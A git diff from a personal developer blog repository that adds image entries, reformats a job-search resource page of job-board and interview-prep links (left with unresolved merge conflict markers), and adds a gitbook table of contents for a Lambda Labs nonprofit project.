+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/woodcuts_1.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/woodcuts_1.jpg?raw=true)
+
+> wordpress-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/wordpress-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/wordpress-logo.png?raw=true)
+
+> xcode%20(1).png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/xcode%20(1).png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/xcode%20(1).png?raw=true)
+
+> zumzi-video-chat.1.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/zumzi-video-chat.1.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/zumzi-video-chat.1.png?raw=true)
+
+> zumzi-video-chat.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/zumzi-video-chat.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/zumzi-video-chat.png?raw=true)
+
+> zumzi.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/zumzi.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/zumzi.png?raw=true)
diff --git a/src/pages/docs/about/job-search.md b/src/pages/docs/about/job-search.md
index d3dbdcde18..bc41e5039a 100644
--- a/src/pages/docs/about/job-search.md
+++ b/src/pages/docs/about/job-search.md
@@ -11,6 +11,7 @@ seo:
 template: docs
 ---
 
+
 # Job Boards and The Hunt
 
 I can't imagine the kind of masochism it would take to enjoy the act of posting and daily maintenance on a job board…It's part of the…
@@ -68,6 +69,7 @@ Don't wait for the company to reach out to you! Be proactive in showing your int
 
 ### Update (remote work edition):
 
+<<<<<<< HEAD
 1.  <span id="3063"><a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#arc" class="markup--anchor markup--li-anchor">Arc</a></span>
 2.  <span id="7639"><a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#we-work-remotely" class="markup--anchor markup--li-anchor">We Work Remotely</a></span>
 3.  <span id="e21f"><a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#skip-the-drive" class="markup--anchor markup--li-anchor">Skip The Drive</a></span>
@@ -93,6 +95,83 @@ Don't wait for the company to reach out to you! Be proactive in showing your int
 23. <span id="fa5e"><a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#upwork" class="markup--anchor markup--li-anchor">Upwork</a></span>
 24. <span id="f209"><a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#freelancer" class="markup--anchor markup--li-anchor">Freelancer</a></span>
 25. <span id="5ec4"><a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#freelancermap" class="markup--anchor markup--li-anchor">freelancermap</a></span>
+=======
+1.  <span id="3063">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#arc" class="markup--anchor markup--li-anchor">Arc</a>
+</span>
+2.  <span id="7639">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#we-work-remotely" class="markup--anchor markup--li-anchor">We Work Remotely</a>
+</span>
+3.  <span id="e21f">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#skip-the-drive" class="markup--anchor markup--li-anchor">Skip The Drive</a>
+</span>
+4.  <span id="e1df">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#power-to-fly" class="markup--anchor markup--li-anchor">Power to Fly</a>
+</span>
+5.  <span id="ecb8">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#remote-ok" class="markup--anchor markup--li-anchor">Remote OK</a>
+</span>
+6.  <span id="c08c">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#remotive" class="markup--anchor markup--li-anchor">Remotive</a>
+</span>
+7.  <span id="b4f2">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#flexjobs" class="markup--anchor markup--li-anchor">FlexJobs</a>
+</span>
+8.  <span id="e670">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#dribble" class="markup--anchor markup--li-anchor">Dribble</a>
+</span>
+9.  <span id="3b01">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#angellist" class="markup--anchor markup--li-anchor">AngelList</a>
+</span>
+10. <span id="4e54">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#remote-co" class="markup--anchor markup--li-anchor">Remote.co</a>
+</span>
+11. <span id="043a">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#justremote" class="markup--anchor markup--li-anchor">JustRemote</a>
+</span>
+12. <span id="7190">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#virtual-vocations" class="markup--anchor markup--li-anchor">Virtual Vocations</a>
+</span>
+13. <span id="8128">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#pangian" class="markup--anchor markup--li-anchor">Pangian</a>
+</span>
+14. <span id="f142">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#working-nomads" class="markup--anchor markup--li-anchor">Working Nomads</a>
+</span>
+15. <span id="6d89">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#jobspresso" class="markup--anchor markup--li-anchor">Jobspresso</a>
+</span>
+16. <span id="8732">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#outsourcely" class="markup--anchor markup--li-anchor">Outsourcely</a>
+</span>
+17. <span id="4f25">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#landing-jobs" class="markup--anchor markup--li-anchor">Landing.Jobs</a>
+</span>
+18. <span id="f994">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#authentic-jobs" class="markup--anchor markup--li-anchor">Authentic Jobs</a>
+</span>
+19. <span id="4b77">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#stack-overflow" class="markup--anchor markup--li-anchor">Stack Overflow</a>
+</span>
+20. <span id="bb76">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#gun-io" class="markup--anchor markup--li-anchor">Gun.io</a>
+</span>
+21. <span id="114e">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#idealist" class="markup--anchor markup--li-anchor">Idealist</a>
+</span>
+22. <span id="5da2">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#fiverr" class="markup--anchor markup--li-anchor">Fiverr</a>
+</span>
+23. <span id="fa5e">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#upwork" class="markup--anchor markup--li-anchor">Upwork</a>
+</span>
+24. <span id="f209">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#freelancer" class="markup--anchor markup--li-anchor">Freelancer</a>
+</span>
+25. <span id="5ec4">
+<a href="https://www.freecodecamp.org/news/how-to-find-remote-jobs/#freelancermap" class="markup--anchor markup--li-anchor">freelancermap</a>
+</span>
+>>>>>>> master
 
 ---
 
@@ -100,6 +179,7 @@ Don't wait for the company to reach out to you! Be proactive in showing your int
 
 #### General Boards
 
+<<<<<<< HEAD
 - <span id="a076"><a href="https://builtin.com/jobs" class="markup--anchor markup--li-anchor">Built In</a></span>
 - <span id="c522"><a href="https://stackoverflow.com/jobs" class="markup--anchor markup--li-anchor">Stack Overflow</a></span>
 - <span id="8235"><a href="http://angel.co/jobs" class="markup--anchor markup--li-anchor">angel.co</a></span>
@@ -144,6 +224,118 @@ Don't wait for the company to reach out to you! Be proactive in showing your int
 - <span id="3dfc"><a href="http://angel.co/talent" class="markup--anchor markup--li-anchor">http://angel.co/talent</a></span>
 - <span id="319e"><a href="https://www.whitetruffle.com/" class="markup--anchor markup--li-anchor">whitetruffle</a></span>
 - <span id="428a"><a href="http://www.crunchboard.com/jobs/" class="markup--anchor markup--li-anchor">crunchboard</a></span>
+=======
+- <span id="a076">
+<a href="https://builtin.com/jobs" class="markup--anchor markup--li-anchor">Built In</a>
+</span>
+- <span id="c522">
+<a href="https://stackoverflow.com/jobs" class="markup--anchor markup--li-anchor">Stack Overflow</a>
+</span>
+- <span id="8235">
+<a href="http://angel.co/jobs" class="markup--anchor markup--li-anchor">angel.co</a>
+</span>
+- <span id="ae9e">
+<a href="https://www.theladders.com/jobs/search-jobs" class="markup--anchor markup--li-anchor">The Ladders</a>
+</span>
+- <span id="aceb">
+<a href="http://www.crunchboard.com/jobs" class="markup--anchor markup--li-anchor">CrunchBoard</a>
+</span>
+- <span id="7e5f">
+<a href="https://uncubed.com/" class="markup--anchor markup--li-anchor">Uncubed</a>
+</span>
+- <span id="8678">
+<a href="https://technical.ly/jobs/" class="markup--anchor markup--li-anchor">Technical.ly</a>
+</span>
+- <span id="c7fe">
+<a href="https://www.dice.com/" class="markup--anchor markup--li-anchor">Dice</a>
+</span>
+- <span id="23f7">
+<a href="https://www.techcareers.com/" class="markup--anchor markup--li-anchor">Tech Careers</a>
+</span>
+- <span id="20cf">
+<a href="http://jobs.mashable.com/jobs/search/results" class="markup--anchor markup--li-anchor">Mashable</a>
+</span>
+
+#### Remote or Relocation Boards:
+
+- <span id="1e47">
+<a href="https://weworkremotely.com/" class="markup--anchor markup--li-anchor">We Work Remotely</a>
+</span>
+- <span id="37d2">
+<a href="https://relocate.me/" class="markup--anchor markup--li-anchor">Relocate</a>
+<a href="https://workfromhomejobs.me/" class="markup--anchor markup--li-anchor">‍</a>
+</span>
+- <span id="aad7">
+<a href="https://workfromhomejobs.me/" class="markup--anchor markup--li-anchor">Work From Home Jobs</a>
+</span>
+- <span id="d1fc">
+<a href="https://docs.google.com/spreadsheets/d/16V7hG7l24hBAnlcmaSG3mrusDx1uj_ZsLwnTu7L_wsQ/edit?usp=sharing" class="markup--anchor markup--li-anchor">Remote Boards &amp; Companies Spreadsheet</a>
+</span>
+- <span id="5267">
+<a href="https://careervault.io/" class="markup--anchor markup--li-anchor">Career Vault</a>
+</span>
+
+#### DS Boards:
+
+- <span id="a50a">
+<a href="https://www.bigdatajobs.com/" class="markup--anchor markup--li-anchor">BigDataJobs</a>
+</span>
+- <span id="e7ce">
+<a href="https://icrunchdata.com/data-science-jobs/" class="markup--anchor markup--li-anchor">Icrunchdata</a>
+</span>
+- <span id="d66f">
+<a href="https://www.analyticsjobs.co.uk/" class="markup--anchor markup--li-anchor">Analyticsjobs.co.uk</a>
+</span>
+
+#### Design Boards
+
+- <span id="0a09">
+<a href="https://www.behance.net/joblist" class="markup--anchor markup--li-anchor">Behance</a>
+</span>
+- <span id="0174">
+<a href="https://www.uxjobsboard.com/" class="markup--anchor markup--li-anchor">UX Jobs Board</a>
+</span>
+- <span id="ef44">
+<a href="https://www.krop.com/creative-jobs/ux-ui-designer/" class="markup--anchor markup--li-anchor">Krop</a>
+</span>
+
+#### Software Development
+
+- <span id="4702">
+<a href="https://www.honeypot.io/pages/for_employers" class="markup--anchor markup--li-anchor">Honeypot.io</a>
+</span>
+- <span id="d025">
+<a href="https://jobs.github.com/" class="markup--anchor markup--li-anchor">GitHub</a>
+</span>
+- <span id="ed46">
+<a href="https://blabladev.eu/" class="markup--anchor markup--li-anchor">BlablaDev</a>
+</span>
+- <span id="c23f">
+<a href="http://jobs.smashingmagazine.com/" class="markup--anchor markup--li-anchor">Smashing <strong>Magazine</strong>
+</a>
+</span>
+- <span id="61fd">
+<a href="http://jobs.arstechnica.com/" class="markup--anchor markup--li-anchor">arstechnica</a>
+</span>
+- <span id="c526">
+<a href="http://jobs.37signals.com/" class="markup--anchor markup--li-anchor">obs.37signals</a>
+</span>
+- <span id="1ec6">
+<a href="http://news.ycombinator.com/submitted?id=whoishiring" class="markup--anchor markup--li-anchor">ycombinator</a>
+</span>
+- <span id="fa87">
+<a href="http://jobs.slashdot.org/jobboard.php" class="markup--anchor markup--li-anchor">jobs.slashdot.org</a>
+</span>
+- <span id="3dfc">
+<a href="http://angel.co/talent" class="markup--anchor markup--li-anchor">http://angel.co/talent</a>
+</span>
+- <span id="319e">
+<a href="https://www.whitetruffle.com/" class="markup--anchor markup--li-anchor">whitetruffle</a>
+</span>
+- <span id="428a">
+<a href="http://www.crunchboard.com/jobs/" class="markup--anchor markup--li-anchor">crunchboard</a>
+</span>
+>>>>>>> master
 
 **I am intentionally not linking glassdoor because they have irritated me for the last time by insisting I provide a job review every time I want to access their content… (To the makers of glassdoor… HOW MANY TIMES A MONTH DO YOU THINK I CHANGE JOBS!!!!) I don't have 15 minutes to make up a job experience every time I want to read a review.**
 
@@ -256,7 +448,13 @@ Most of us are familiar with the concept of six degrees of separation — th
 
 **_5. Freelancer websites_**. oDesk.com, Elance.com, etc. Lower pay, but 100% contract work, and has a lot of flexible opportunities if you're not looking for traditional full-time employment or remote work.
 
+<<<<<<< HEAD
 - <span id="1350"><a href="https://www.quora.com/What-are-the-best-job-boards-for-software-engineers" class="markup--anchor markup--li-anchor">Source</a></span>
+=======
+- <span id="1350">
+<a href="https://www.quora.com/What-are-the-best-job-boards-for-software-engineers" class="markup--anchor markup--li-anchor">Source</a>
+</span>
+>>>>>>> master
 
 <figure><img src="https://cdn-images-1.medium.com/max/600/1*3_3Cb73SQM_YazWGpZWtIw.png" class="graf-image" /></figure><figure><img src="https://cdn-images-1.medium.com/max/600/1*aI1PfkSpsUks598LAJvKoQ.png" class="graf-image" /></figure>
 
@@ -283,9 +481,16 @@ Most of us are familiar with the concept of six degrees of separation — th
 - **[LinkedIn Post Inspector](https://www.linkedin.com/post-inspector/inspect/)**
 - **[LinkedIn Featured Images](https://medium.com/@jamesyhiggs/how-to-add-thumbnail-images-to-the-featured-section-of-your-linkedin-profile-for-web-apps-sites-917346235932)**
 - **[Frontend Masters](https://frontendmasters.com/)** - Expensive, but worth every penny
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Resume**
 
 - **[Spelling/Grammar mistakes on Resume costs jobs](http://blog.alinelerner.com/lessons-from-a-years-worth-of-hiring-data/)**
@@ -293,18 +498,32 @@ Most of us are familiar with the concept of six degrees of separation — th
 # **Cover Letter**
 
 - **[Six C's of Business Communication](http://www.fsb.miamioh.edu/fsb/content/programs/howe-writing-initiative/HWI-handout-CsofBusComm.html)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Heroku** - _Use at your own risk_
 
 - **[Keep Heroku App Awake For Free Using Google App Script](https://medium.com/@pandachain/keep-free-heroku-app-awake-during-a-specific-period-using-google-app-script-in-2017-63fe37ee9e9f)**
 - **[UptimeRobot](https://uptimerobot.com/)**
 - **[Kaffeine](https://kaffeine.herokuapp.com/)**
 - **[UptimeRobot and Dyno Lecture](https://docs.google.com/document/d/1_BZswbvmcEtVul9gD59Lk4IUk2mHp1Wbe2ucaHTY7A0/edit)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Trivia**
 
 - ## **JavaScript Trivia**
@@ -313,9 +532,16 @@ Most of us are familiar with the concept of six degrees of separation — th
 - ## **Python Trivia**
 - ## **Frontend Trivia**
     - [**12 Essential Web Design Interview Questions**](https://www.toptal.com/designers/web/interview-questions)
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Language Resources**
 
 - ## **JavaScript Resources**
@@ -347,6 +573,15 @@ Most of us are familiar with the concept of six degrees of separation — th
     - [**Specifishity**](http://www.specifishity.com/)
     - [**CSS3 Cheat Sheet**](https://www.onblastblog.com/css3-cheat-sheet/)
     - [**Jen Simmons Labs**](https://labs.jensimmons.com/)
+<<<<<<< HEAD
+
+- ## **Miscellaneous Resources**
+
+    - [**CodePen**](https://codepen.io/)
+        - [2020 Most Popular Pens (replace year for more)](https://codepen.io/202/popular/pens/)
+    - [**Web Design Weekly**](https://web-design-weekly.com/)
+    - [**Responsive Design Weekly**](https://responsivedesign.is/)
+=======
 
 - ## **Miscellaneous Resources**
 
@@ -355,8 +590,13 @@ Most of us are familiar with the concept of six degrees of separation — th
     - [**Web Design Weekly**](https://web-design-weekly.com/)
     - [**Responsive Design Weekly**](https://responsivedesign.is/)
 
+
+>>>>>>> master
+
 <hr>
 
+
+
 # **DS&A**
 
 - **[Leetcode](https://leetcode.com/explore)**
@@ -367,44 +607,86 @@ Most of us are familiar with the concept of six degrees of separation — th
 - **[What is a Hash Table](https://www.youtube.com/watch?v=shs0KM3wKv8)**
     - O(1) for a "good" table
     - O(n) for a terrible table (lots of collisions, etc.)
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **System Design**
 
 - **[The Basics](https://www.educative.io/courses/grokking-the-system-design-interview/m2yDVZnQ8lG)**
 - **[Caching](https://levelup.gitconnected.com/everything-you-need-to-know-about-caching-system-design-932a6bdf3334)**
 - **[Load Balancing](https://codeburst.io/system-design-basics-load-balancer-101-adc4f602d08f)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Interviewing**
 
 - ### **Mock Interviewing**
     - **[Interviewing.io](https://interviewing.io/)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Networking**
 
 - **[MeetUp](https://www.meetup.com/)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Managing and Organizing Job Search**
 
 - **[Notion](notion.so)**
     - Trillo clone but with added features that make it really great! Consider creating a template for new job seekers!
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Negotiations**
 
 - **[Haseeb's 10 Rules - Part 1](https://haseebq.com/my-ten-rules-for-negotiating-a-job-offer/)**
 - **[Haseeb's 10 Rules - Part 2](https://haseebq.com/how-not-to-bomb-your-offer-negotiation/)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Portfolio Sites**
 
 Take 25 minutes to choose a template, download it, rename it githubusername.github.io , git init, and push it to a github repo of the same name:
@@ -432,7 +714,18 @@ Take 25 minutes to choose a template, download it, rename it githubusername.gith
    of the directory. If the file is located elsewhere, relocate it to the root and adjust
    any relative paths for any imported scripts or style sheets.
 
+<<<<<<< HEAD
 <hr>
+=======
+
+
+<br>
+<br>
+<br>
+<br>
+>>>>>>> master
+
+
 
 # **QA Engineering**
 
@@ -455,14 +748,32 @@ Take 25 minutes to choose a template, download it, rename it githubusername.gith
     Implementation Specialist
     Technical Account Manager
 
+<<<<<<< HEAD
 <hr>
+=======
+
+
+<br>
+<br>
+<br>
+<br>
+>>>>>>> master
+
+
 
 # **Externship**
 
 - **[insidesherpa](https://www.insidesherpa.com/)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Open Source**
 
 - **[GitHub's open source guides](https://opensource.guide/)**
@@ -470,9 +781,16 @@ Take 25 minutes to choose a template, download it, rename it githubusername.gith
 - **[First timers only](https://www.firsttimersonly.com/)**
 - **[Open Source Underdogs](https://opensourceunderdogs.com/episodes/)**
 - **[Code Triage](https://www.codetriage.com/)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Volunteer**
 
 - **[Code For America](https://www.codeforamerica.org/)**
@@ -480,24 +798,45 @@ Take 25 minutes to choose a template, download it, rename it githubusername.gith
 - **[Social Coder](https://socialcoder.org/Home/Index)**
 - **[Catch A Fire](https://www.catchafire.org/)**
 - **[Hackers For Charity](https://www.hackersforcharity.org/)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Imposter Syndrome**
 
 - **[The Imposter's Advantage - Zain Rizvi](https://www.zainrizvi.io/blog/the-impostors-advantage/)**
 - **[Stats on the tech giants](https://www.techrepublic.com/article/why-58-of-tech-employees-suffer-from-imposter-syndrome/)**
 - **[Why MS degrees are shit](http://blog.alinelerner.com/how-different-is-a-b-s-in-computer-science-from-a-m-s-in-computer-science-when-it-comes-to-recruiting/)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Podcasts**
 
 - **[FreeCodeCamp Podcast](https://freecodecamp.libsyn.com/)**
 - **[Codish Podcast](https://www.heroku.com/podcasts/codeish/85-the-new-definition-of-frontend-development)**
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **Books**
 
 - **Grokking the Coding Interview**
@@ -510,9 +849,16 @@ Take 25 minutes to choose a template, download it, rename it githubusername.gith
 - - [Amazon](https://www.amazon.com/Elements-Programming-Interviews-Python-Insiders/dp/1537713949)
 - **Skienna Algorithm Design Manual**
     - [Amazon](https://www.amazon.com/Algorithm-Design-Manual-Steven-Skiena-ebook-dp-B00B8139Z8/dp/B00B8139Z8/ref=mt_other?_encoding=UTF8&me=&qid=)
+<<<<<<< HEAD
+=======
+
+
+>>>>>>> master
 
 <hr>
 
+
+
 # **QA Questions**
 
 **10:22:12 From Alexis Kozak to Everyone : Scenario 1**
diff --git a/src/pages/docs/archive/archive/embeded-websites.md b/src/pages/docs/archive/archive/embeded-websites.md
new file mode 100644
index 0000000000..a372d8d39e
--- /dev/null
+++ b/src/pages/docs/archive/archive/embeded-websites.md
@@ -0,0 +1,259 @@
+---
+title: Family Promise Project
+weight: 0
+seo:
+    title: Gatsby Plugins For This Sites Content Model
+    description: This is my markdown notes tempate
+    extra:
+        - name: og:type
+          value: website
+          keyName: property
+        - name: og:title
+          value: Gatsby Plugins For This Sites Content Model
+          keyName: property
+        - name: og:description
+          value: This is the Gatsby Plugins For This Sites Content Model page
+          keyName: property
+        - name: twitter:card
+          value: summary
+        - name: twitter:title
+          value: Gatsby Plugins For This Sites Content Model
+        - name: twitter:description
+          value: This is the Gatsby Plugins For This Sites Content Model page
+template: docs
+excerpt: Family Promise organizes congregations, social service agencies and
+    community members into volunteer coalitions called Affiliates that provide
+    emergency shelter and wraparound services to homeless and at-risk families.
+    The model of the core program emphasizes sustainability and relies on
+    resources that are already available to the locales served. Though each
+    Affiliate coordinates its own programming for transitional housing, case
+    management, family mentoring, financial literacy classes and childcare, all
+    receive staff training and program assistance from the national office. Built
+    a way to track and visualize the services they provide external to the shelter
+    to gain actionable insights.
+---
+
+<br>
+<br>
+<br>
+
+# Family Promise Project:
+
+# Table of contents
+
+-   [Home](https://bryan-guner.gitbook.io/lambda-labs/README)
+
+## navigation
+
+-   [NAVIGATION](https://bryan-guner.gitbook.io/lambda-labs/navigation/navigation)
+-   [Calendar](https://bryan-guner.gitbook.io/lambda-labs/navigation/calendar)
+-   [Youtube:](https://bryan-guner.gitbook.io/lambda-labs/navigation/youtube)
+-   [Roadmap:](https://bryan-guner.gitbook.io/lambda-labs/navigation/roadmap)
+-   [TEAM MEMBERS](https://bryan-guner.gitbook.io/lambda-labs/navigation/team-members)
+-   [Running List Of Notes Links & Pertinent Info From Meetings](https://bryan-guner.gitbook.io/lambda-labs/navigation/running-list-of-notes-links-and-pertinent-info-from-meetings)
+-   [Trello](https://bryan-guner.gitbook.io/lambda-labs/navigation/trello/README)
+    -   [Github/Trello Integration](https://bryan-guner.gitbook.io/lambda-labs/navigation/trello/github-trello-integration)
+
+## UX
+
+-   [UX_TOPICS](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/README)
+    -   [Action Items:](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/action-items)
+    -   [Accessibility](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/accessibility)
+    -   [Figma Notes](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/figma-notes/README)
+        -   [Notes](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/figma-notes/notes)
+        -   [Prototyping In Figma](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/figma-notes/prototyping-in-figma)
+        -   [More Notes](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/figma-notes/more-notes)
+    -   [UX-Design](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/ux-design/README)
+        -   [Facebook Graph API](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/ux-design/facebook-graph-api)
+    -   [Ant Design](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/ant-design/README)
+        -   [ANT Components](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/ant-design/ant-components/README)
+            -   [Buttons](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/ant-design/ant-components/buttons)
+        -   [ANT DOCS](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/ant-design/ant-docs)
+        -   [Application (Codesandbox)](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/ant-design/application-codesandbox)
+    -   [Examples](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/examples)
+    -   [How to add external URL links to your prototype](https://bryan-guner.gitbook.io/lambda-labs/ux/untitled/how-to-add-external-url-links-to-your-prototype)
+
+## CANVAS
+
+-   [Design](https://bryan-guner.gitbook.io/lambda-labs/canvas/design/README)
+    -   [What's Inclusive Design?](https://bryan-guner.gitbook.io/lambda-labs/canvas/design/whats-inclusive-design)
+    -   [Accessibility](https://bryan-guner.gitbook.io/lambda-labs/canvas/design/accessibility)
+    -   [What are Design Systems?](https://bryan-guner.gitbook.io/lambda-labs/canvas/design/what-are-design-systems)
+-   [Canvas](https://bryan-guner.gitbook.io/lambda-labs/canvas/canvas)
+-   [Notes](https://bryan-guner.gitbook.io/lambda-labs/canvas/notes/README)
+    -   [User Experience Design](https://bryan-guner.gitbook.io/lambda-labs/canvas/notes/user-experience-design)
+    -   [User Research](https://bryan-guner.gitbook.io/lambda-labs/canvas/notes/user-research)
+    -   [Interaction Design](https://bryan-guner.gitbook.io/lambda-labs/canvas/notes/interaction-design)
+-   [UX-Engineer](https://bryan-guner.gitbook.io/lambda-labs/canvas/ux-engineer/README)
+    -   [Patterns](https://bryan-guner.gitbook.io/lambda-labs/canvas/ux-engineer/patterns)
+    -   [Design Tools](https://bryan-guner.gitbook.io/lambda-labs/canvas/ux-engineer/design-tools)
+    -   [Design Critiques](https://bryan-guner.gitbook.io/lambda-labs/canvas/ux-engineer/design-critiques)
+    -   [Product Review](https://bryan-guner.gitbook.io/lambda-labs/canvas/ux-engineer/product-review)
+    -   [Quiz](https://bryan-guner.gitbook.io/lambda-labs/canvas/ux-engineer/quiz)
+    -   [Seven Principles of Design](https://bryan-guner.gitbook.io/lambda-labs/canvas/ux-engineer/seven-principles-of-design)
+
+## Front End
+
+-   [Frontend:](https://bryan-guner.gitbook.io/lambda-labs/front-end/untitled)
+-   [Redux](https://bryan-guner.gitbook.io/lambda-labs/front-end/redux)
+
+## Back End
+
+-   [Backend:](https://bryan-guner.gitbook.io/lambda-labs/back-end/untitled/README)
+    -   [API](https://bryan-guner.gitbook.io/lambda-labs/back-end/untitled/api)
+
+## Research
+
+-   [Research Navigation](https://bryan-guner.gitbook.io/lambda-labs/research/untitled/README)
+    -   [Front End](https://bryan-guner.gitbook.io/lambda-labs/research/untitled/front-end)
+    -   [Back End](https://bryan-guner.gitbook.io/lambda-labs/research/untitled/back-end)
+    -   [UX](https://bryan-guner.gitbook.io/lambda-labs/research/untitled/ux)
+    -   [PTM](https://bryan-guner.gitbook.io/lambda-labs/research/untitled/ptm)
+    -   [General](https://bryan-guner.gitbook.io/lambda-labs/research/untitled/general)
+
+## DS_API
+
+-   [Data Science API](https://bryan-guner.gitbook.io/lambda-labs/ds_api/untitled)
+
+## ROLES
+
+-   [TEAM ROLES](https://bryan-guner.gitbook.io/lambda-labs/roles/untitled/README)
+    -   [Bryan Guner](https://bryan-guner.gitbook.io/lambda-labs/roles/untitled/bryan-guner)
+
+## Action Items
+
+-   [Trello](https://bryan-guner.gitbook.io/lambda-labs/action-items/untitled)
+-   [Maps](https://bryan-guner.gitbook.io/lambda-labs/action-items/maps)
+
+## ARCHITECTURE
+
+-   [DNS](https://bryan-guner.gitbook.io/lambda-labs/architecture/dns)
+-   [AWS](https://bryan-guner.gitbook.io/lambda-labs/architecture/aws)
+-   [Heroku](https://bryan-guner.gitbook.io/lambda-labs/architecture/heroku)
+
+## Questions
+
+-   [From Previous Cohort](https://bryan-guner.gitbook.io/lambda-labs/questions/from-previous-cohort)
+
+## Standup Notes
+
+-   [Meeting Notes](https://bryan-guner.gitbook.io/lambda-labs/standup-notes/meeting-notes/README)
+    -   [Stakeholder Meeting 1](https://bryan-guner.gitbook.io/lambda-labs/standup-notes/meeting-notes/overview)
+    -   [9/29/2021](https://bryan-guner.gitbook.io/lambda-labs/standup-notes/meeting-notes/9-29-2021)
+
+## GitHub & Project Practice
+
+-   [GitHub](https://bryan-guner.gitbook.io/lambda-labs/github-and-project-practice/untitled/README)
+    -   [Github Guide](https://bryan-guner.gitbook.io/lambda-labs/github-and-project-practice/untitled/untitled)
+    -   [Github Actions:](https://bryan-guner.gitbook.io/lambda-labs/github-and-project-practice/untitled/github-actions)
+
+## MISC
+
+-   [MISCELLANEOUS](https://bryan-guner.gitbook.io/lambda-labs/misc/untitled)
+
+## Background Information
+
+-   [Background Info](https://bryan-guner.gitbook.io/lambda-labs/background-information/background-info/README)
+    -   [Swagger OPEN API SPECIFICATION](https://bryan-guner.gitbook.io/lambda-labs/background-information/background-info/swagger-open-api-specification)
+    -   [GITHUB:](https://bryan-guner.gitbook.io/lambda-labs/background-information/background-info/github/README)
+        -   [Git Bash](https://bryan-guner.gitbook.io/lambda-labs/background-information/background-info/github/git-bash)
